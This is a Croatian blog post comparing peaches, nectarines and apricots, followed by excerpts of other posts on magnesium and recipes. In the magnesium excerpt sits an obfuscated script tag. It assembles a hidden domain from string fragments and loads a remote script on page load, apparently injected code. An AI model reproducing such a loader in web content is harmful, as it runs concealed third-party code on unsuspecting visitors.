LJETNA DILEMA - BRESKVE, MARELICE ILI NEKTARINE? 🍑




Ljetna dilema - breskve, marelice ili nektarine?



Ljeto je teško zamisliti bez sočnih breskvi, mirisnih marelica i osvježavajućih nektarina.



Baršunaste breskve: Sočne kraljice ljeta

Breskve su mnogima prvi izbor kada stigne sezona ljetnog voća. Prepoznatljive su po baršunastoj kori, sočnom mesu i nježnom, slatkom okusu.

Zahvaljujući antioksidansima, breskve su odličan izbor za one koji žele obogatiti prehranu voćem koje pridonosi zaštiti stanica od oksidativnog stresa. 



Nektarine: Posebno bogate jednim vitaminom

Iako ih mnogi smatraju zasebnom vrstom voća, nektarine su zapravo vrsta breskve. Botanički pripadaju istoj vrsti (Prunus persica), a razlikuju se ponajviše po jednoj prirodnoj genetskoj promjeni zbog koje nemaju karakterističnu baršunastu koru.

Za razliku od breskvi, nektarine imaju glatku i sjajnu kožu, a često su nešto čvršće teksture i intenzivnijeg okusa.  Nutritivno su vrlo slične baršunastim breskvama: sadrže vitamine C i A, vlakna, minerale i korisne biljne spojeve.



Marelice: Male, ali pune vrijednih nutrijenata

Marelice su možda manje od breskvi i nektarina, ali su pravi mali nutritivni dragulji. Njihova narančasta boja dolazi od beta-karotena, spoja koji tijelo pretvara u vitamin A.




Koje voće odabrati?

Odgovor ovisi o ukusu, ali i o tome što tražite. Breskve su idealne za one koji vole izrazitu sočnost i mekanu teksturu, nektarine za ljubitelje čvršćeg voća i intenzivnijeg okusa, dok su marelice odličan izbor za sve koji žele više beta-karotena i aromatičnu slatkoću.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više